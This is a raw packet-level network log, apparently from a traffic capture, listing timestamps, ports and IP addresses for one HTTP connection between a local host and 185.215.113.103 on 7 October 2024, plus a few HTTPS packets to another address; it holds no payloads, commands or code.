Oct 7, 2024 03:23:19.828627110 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828636885 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828649044 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828650951 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828675985 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828679085 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828681946 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828690052 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828701019 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828717947 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828722000 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828722000 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828741074 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828751087 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828758001 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828762054 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828771114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828790903 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828798056 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828815937 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835397959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835407972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835419893 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835441113 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835452080 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835464001 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835467100 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835475922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835505009 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835525036 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835688114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835697889 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835736990 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835783958 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835797071 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835805893 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835818052 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835822105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835829020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835838079 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835840940 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835849047 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835853100 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835860968 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835864067 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835876942 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835881948 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835902929 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835920095 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835922956 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835932016 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835942030 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835951090 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835954905 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835967064 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.835967064 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835978985 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.835989952 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.836004019 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.850786924 CEST	49893	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:19.855242968 CEST	49893	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:19.876197100 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876375914 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876384974 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876399994 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876411915 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876430035 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876430035 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876441956 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876452923 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876458883 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876462936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876471996 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876477003 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876488924 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876492023 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876504898 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876508951 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876514912 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876528025 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876532078 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876542091 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876549006 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876555920 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876569033 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876574039 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876578093 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876590014 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876591921 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876600981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876610994 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876611948 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876624107 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876632929 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876635075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876646996 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876657009 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876667976 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876672983 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876686096 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876687050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876698017 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876707077 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876708984 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876720905 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876723051 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876732111 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876735926 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876744986 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876751900 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876755953 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.876771927 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.876792908 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877473116 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877481937 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877528906 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877540112 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877572060 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877578974 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877583027 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877600908 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877610922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877618074 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877623081 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877638102 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877657890 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877679110 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877707958 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877717018 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877732038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877743006 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877743959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877754927 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877767086 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877768993 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877779007 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877789021 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877803087 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877811909 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877814054 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877829075 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877850056 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877873898 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877883911 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877917051 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877928972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877939939 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877971888 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877976894 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.877983093 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.877993107 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878005981 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878009081 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878020048 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878021955 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878031015 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878041983 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878051043 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878067970 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878070116 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878082991 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878089905 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878102064 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878110886 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878115892 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878125906 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878129959 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878137112 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878139019 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878151894 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878154039 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878168106 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878175020 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878180027 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878190994 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878206968 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878211021 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878220081 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878231049 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878252983 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878268957 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878271103 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878285885 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878295898 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878305912 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878319979 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878329039 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.878343105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.878360987 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.899425030 CEST	443	49893	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:19.917057037 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917092085 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917102098 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917114019 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917172909 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917177916 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917185068 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917196989 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917202950 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917228937 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917233944 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917241096 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917282104 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917293072 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917303085 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917314053 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917330980 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917345047 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917354107 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917357922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917367935 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917378902 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917388916 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917397022 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917402029 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917408943 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917418957 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917438030 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917460918 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917490005 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917500973 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917510986 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917521000 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917531013 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917532921 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.917551041 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.917572975 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924022913 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924034119 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924052000 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924067974 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924079895 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924092054 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924094915 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924105883 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924115896 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924117088 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924132109 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924165010 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924176931 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924185991 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924195051 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924205065 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924210072 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924216032 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924222946 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924246073 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924278021 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924288034 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924298048 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924307108 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924309015 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924319029 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924329996 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924331903 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924356937 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924372911 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924377918 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924390078 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924401045 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924408913 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924413919 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924422026 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924424887 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924436092 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.924452066 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924452066 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924459934 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.924478054 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.964924097 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.964943886 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.964963913 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.964975119 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.964986086 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965006113 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965020895 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965030909 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965044022 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965065002 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965075016 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965090036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965102911 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965115070 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965123892 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965186119 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965198040 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965217113 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965234995 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965266943 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965276957 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965287924 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965303898 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965311050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965311050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965311050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965311050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965311050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965311050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965311050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965311050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965322018 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965333939 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965337992 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965337992 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965337992 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965356112 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965358019 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965372086 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965382099 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965384960 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965394974 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965403080 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965410948 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965415001 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965426922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965430975 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965437889 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.965454102 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.965476990 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966238976 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966249943 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966260910 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966273069 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966291904 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966291904 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966301918 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966326952 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966329098 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966336966 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966346025 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966368914 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.966370106 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.966379881 CEST	80	49879	185.215.113.103	192.168.2.4
